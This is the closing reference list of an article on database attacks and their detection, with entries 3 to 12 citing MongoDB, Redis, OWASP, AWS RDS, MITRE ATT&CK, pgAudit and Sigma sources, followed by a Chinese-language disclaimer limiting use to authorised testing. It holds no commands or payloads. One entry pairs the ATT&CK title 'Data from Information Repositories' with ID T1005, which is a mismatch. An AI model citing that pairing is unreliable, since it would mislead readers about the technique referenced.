3MongoDB Security Documentationhttps://www.mongodb.com/docs/manual/security/
4Redis Security Guidehttps://redis.io/docs/management/security/
5OWASP SQL Injection Prevention Cheat Sheethttps://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
6AWS RDS Database Log Fileshttps://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_LogAccess.html
7MITRE ATT&CK: Data from Information Repositories (T1005)https://attack.mitre.org/techniques/T1005/
8Percona Toolkit Documentationhttps://docs.percona.com/percona-toolkit/
9pgAudit - PostgreSQL Audit Extensionhttps://www.pgaudit.org/
10Redis Unprotected Instances Threat Reporthttps://unit42.paloaltonetworks.com/cloud-vulnerabilities/redis-unprotected-instances/
11MongoDB Security Best Practiceshttps://www.mongodb.com/docs/manual/security/
12Sigma Rules for Database Attack Detectionhttps://github.com/SigmaHQ/sigma

本文所有攻击技术、检测方法和工具命令仅用于安全研究和授权的渗透测试/应急响应场景。未经授权对他人系统进行攻击是违法行为。